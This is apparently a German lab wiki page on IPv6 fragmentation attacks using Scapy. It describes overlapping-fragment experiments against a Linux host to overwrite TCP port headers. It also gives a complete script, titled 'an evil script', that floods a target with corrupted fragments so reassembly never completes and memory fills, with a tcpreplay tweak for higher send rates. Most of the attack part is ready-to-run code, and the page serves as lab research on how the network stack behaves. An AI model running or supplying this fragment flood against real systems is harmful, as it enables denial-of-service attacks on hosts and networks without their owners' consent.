====== IPv6-Pakete fragmentieren ====== **Scapy:** Die fragment6(packet, size) Funktion setzt voraus, dass das zu fragmentierende Paket bereits einen Fragmentation-Header besitzt, ansonsten wird nicht fragmentiert. :!: Linux akzeptiert nur Fragmente deren Payload-Länge ein Vielfaches von 8 ist (Offset wird als Vielfaches von 8 Byte angegeben), ansonsten gibt es eine ICMP-Parameter-Problem Meldung :!: ===== Versuch 1: Überschreiben von Paketfragmenten mit neueren Informationen ===== dest="2001:db8:1:0:a00:27ff:affe:1234" /* Ubuntu */ p23 = IPv6(dst=dest)/IPv6ExtHdrFragment(id=123456,m=1)/TCP(sport=17002,dport=23,flags="S")/Raw("x"*36) p80 = IPv6(dst=dest)/IPv6ExtHdrFragment(id=123456,m=0)/TCP(sport=17002,dport=80,flags="S")/Raw("x"*36) send(p23) send(p80) Allerdings schlägt die Reassembly auf dem Zielsystem trotzdem fehl (Time Exceeded). Da beide Pakete den Offset 0 tragen und auf das p80 Paket auch eine passende Antwort vom Zielsystem generiert wird, ist davon auszugehen, dass Fragmente mit 'Offset 0' separat behandelt werden (nicht überschrieben)! ===== Versuch 2: Alternative incl. Destination Header ===== Es wird ein Destination Header hinzugefügt, so dass das 2. Fragment mit einem höheren Offset als '0' versandt werden kann und trotzdem der Transport-Header überschrieben werden könnte. Das Reassembly funktioniert jetzt, allerdings nicht wie erwartet: Linux mit Kernel 2.6.35 scheint für diesen Angriff nicht empfindlich zu sein, das erste empfangene Fragment bleibt erhalten und wird nicht überschrieben. /* Kein Upper-Layer Header im 1. Fragment -> Reassembly: WWW (Port 80)*/ p23 = IPv6(dst=dest)/IPv6ExtHdrFragment(id=123456,m=1)/IPv6ExtHdrDestOpt()/IPv6ExtHdrDestOpt(nh=6) p22 = IPv6(dst=dest)/IPv6ExtHdrFragment(id=123456,m=0,offset=2,nh=60)/TCP(sport=17002,dport=22,flags="S")/Raw("x"*40) /* Kein Upper-Layer Header im 1. Fragment -> Reassembly: WWW (Port 80)*/ /* Verschiedener Upper-Layer Header im 1. Fragment -> Telnet (Port 23) */ p23 = IPv6(dst=dest)/IPv6ExtHdrFragment(id=123456,m=1)/IPv6ExtHdrDestOpt()/IPv6ExtHdrDestOpt()/TCP(sport=17002,dport=23,flags="S")/Raw("y"*20) /* Next Header im nächsten Fragment muss 'Destination Header' sein -> WWW (Port 80) */ p80 = IPv6(dst=dest)/IPv6ExtHdrFragment(id=123456,m=0,offset=2,nh=60)/TCP(sport=17002,dport=80,flags="S")/Raw("x"*36) ---- >>> i=IPv6(dst="2001:db8:20::1") >>> ext=IPv6ExtHdrFragment() >>> q=UDP()/Raw(load="X"*50000) >>> p=Ether()/i/ext/q ## Ether() is requiered for sendpfast() >>> ar1=fragment6(p, 1280) Senden: >>> sendp(ar1) oder schneller: >>> sendpfast(ar1) ===== Ein böses Script ===== #! /usr/bin/env python from scapy.all import IPv6,IPv6ExtHdrFragment,UDP,Ether,fragment6,sendpfast,Raw,wrpcap import sys ar1=[] target="2001:db8:20::1" fragmentsize=1280 for n in range(1,10): ## Wert erhöhen um mehr Pakte zu erzeugen die Fragmentiert werden i=IPv6(dst=target) ext=IPv6ExtHdrFragment() q=UDP()/Raw(load="V"*50000) p=Ether()/i/ext/q ar1.extend(fragment6(p, fragmentsize)) f=len(ar1) x=0 while x < f: ## ueberschreibt jedes 30. Fragment mit dem 3. ar1[x]=ar1[2] ## Fragmente werden so nie vollständig übertragen x=x+30 ## und verbleiben im Speicher von target sendpfast(ar1) ==== Evenuell sind noch folgende Änderungen vorzunehmen ==== in Scapys sendrecv.py: 257: @conf.commands.register 258: def sendpfast(x, pps=None, mbps=None, realtime=None, loop=0, iface=None): -->: from scapy.utils import wrpcap 259: """Send packets at layer 2 using tcpreplay for performance tcpreplay muss installiert sein: $ sudo apt-get install tcpreplay